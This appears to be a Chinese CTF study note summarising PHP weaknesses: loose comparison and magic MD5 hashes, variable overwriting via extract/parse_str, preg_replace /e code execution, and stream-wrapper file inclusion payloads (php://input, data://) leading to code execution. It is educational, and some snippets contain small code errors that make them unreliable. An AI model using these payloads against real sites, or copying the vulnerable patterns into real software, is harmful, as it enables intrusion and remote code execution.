CTF中常见的PHP知识点总结
PHP是一门比较松散的语言,即简单方便,又容易出现一些问题。本文主要总结一些作者遇到过的一些知识点,弱类型、变量覆盖、正则表达式、以及php伪协议等。(欢迎各位小伙伴补充交流)
一 、PHP弱类型
0x01 “==”与”===”的区别
“==”在进行比较时先将字符串类型转化成相同在比较。(如果比较涉及到数字内容的字符串,则字符串会被转换成数值,并且比较按照数值大小来进行)
“===”在进行比较时先进行字符串类型判断,再比教。
“根据php手册中所讲,字符串的开头决定了它转换后的值,如果该字符串以合法的数值开始,则使用该合法数值,否则其值为0”
1 == ‘1’; //true
1 == ‘1abc’; //true
0 == ‘admin’; //true
0 === ‘admin’; //false
0e开头的字符串,在比较时被当作科学记数法。所以在hash比较时我们可以利用php弱类型,进行绕过。这里以md5为例
<?php
if(isset($_POST['uname'])&&isset($_POST['pwd'])){
if(md5($_POST['pwd'] == 0)){
echo $flag;
}
}
?>
贴一些常用到的md5 ==0的字符串。 QNKCDZO 0e830400451993494058024219903391 s878926199a 0e545993274517709034328855841020 s155964671a 0e342768416822451524974117254469 s214587387a 0e848240448830537924465865611904 s214587387a 0e848240448830537924465865611904 s878926199a 0e545993274517709034328855841020 s1091221200a 0e940624217856561557816327384675 s1885207154a 0e509367213418206700842008763514
并且md5()无法处理数组,所以当传入两个数组时两边都会返回null
var_dump(md5($array1)==var_dump($array2)); //true
var_dump(null==null); //true
0x02 strcmp()、strcasecmp()函数
strcmp()和strcasecmp()函数用于比较两个字符串,前者区分大小写。这两个函数都无法处理数组,当传入数组时,返回null。
$flag = "*******";
if(strcmp(($_GET['user']),$flag) == 0){
echo $flag;
}
var_dump(null==0); //true
0x03 switch()函数
如果是数字类型的case的话,switch会将参数转化为数值。
$id = "2bc";
switch($id){
case 1:
case 2:
echo $flag;
}
0x04 json绕过
$message = json_decode($_POST['message']);
$key ="*********";
if ($message->key == $key) {
echo "flag";
}
else {
echo "fail";
}
}
else{
echo "~~~~";
}
输入一个json类型的字符串,json_decode会解码为一个数组。payload为 message = {“key”:0}
二、变量覆盖
0x01 $$的使用
if (!isset($_POST["flag"]) )
die($_403);
foreach ($_GET as $k => $v){
$$k = $$v;
}
foreach ($_POST as $k => $v){
$$k = $v;
}
if ( $_POST["flag"] !== $flag )
die($_403);
echo "flag: ". $flag . "\n";
die($_200);
0x02 extract()函数
该函数使用数组键名作为变量名,使用数组键值作为变量值针对数组中的每一个元素,将在当前符号表中创建对应的一个变量。
$flag = "******"
extract($_GET)
if($text == $f){
echo $flag
}
最终payload为: ?text=&f=
0x03 parse_str()函数
该函数用于把查询字符串解析到变量中,如果没有array参数,则由该函数设置的变量将覆盖已存在的同名变量。
$chabug = 'www.chabug.com';
parse_str($_SERVER['QUERY_STRING']);
echo $chabug;
payload为: ?chabug=s1ye 则页面返回 s1ye
三、正则表达式
0x01 eregi()函数
字符串对比解析,当ereg读取字符串string时,%00后面的字符串不会不会被解析。
if (ereg ("^[a-zA-Z]+$", $_GET['a']) !== FALSE) {
echo 'You password must be alphabet';
?a=abc%00123可以绕过(php 5.3x已经不再支持该用法)
0x02 preg_replace()函数
preg_replace() 的第一个参数如果存在 /e 模式修饰符,则允许代码执行。(如果没有/e修饰符可以尝试%00截断。)
preg_replace("/test/e",$_GET["chabug"],"jutst test");
payload: ?chabug=phpinfo()
四、PHP伪协议
php伪协议(file://,php://filter,php://input,zip://,compress.bzip2://,compress.zlib://,data://)
php版本 <= 5.2可以使用%00进行截断。
file:// 在 allow_url_fopen和allow_url_include双off情况下可以正常使用,用于访问本地文件系统。
用法: file://文件绝对路径和文件名
php:// 不需要开启allow_url_fopen(仅php://input,php://stdin,php://memory和php://temp需要开启allow_url_include)
php://filter 读取源码并进行base64编码输出,不然会直接当作php代码执行,就看不到源代码内容了。(在双off下可以正常使用)
php://input 可以访问请求的原始数据的只读流,将post请求中的数据作为php代码执行。
例如:
get: /include.php?file=php://input
post: <?php phpinfo(); ?>
就会返回phpinfo信息。也可以构造语句getshell。
zip://,bzip://,zlib://协议在双off的情况下也可以正常使用。
使用方法:
zip://chabug.zip#flag.txt(zip://绝对路径#子文件名,flag.txt内容就会以php代码执行。)
compress.bzip2://chabug.bz2和compress.zlib://chabug.gz用法相同
/include.php?file=compress.bzip2://绝对路径/shell.jpg 或者 compress.bzip2://./shell.jpg
data://协议(需要满足双on条件)
/include.php?file=data://text/plain,<?php phpinfo();?>
or data://text/plain;base64,PD9waHAgcGhwaW5mbygpPw4=
or data:text/plain,<?php phpinfo();?>
or data:text/plain;base64,PD9waHAgcGhwaW5mbygpPw4=
五、PHP别名
php2,php3,php4,php5,phps,pht,phtm,phtml。
在这里把自己遇到的一些常见知识点总结并分享出来,欢迎各位小伙伴交流指点。
参考链接:
原创文章,作者:s1ye,未经授权禁止转载!如若转载,请联系作者:s1ye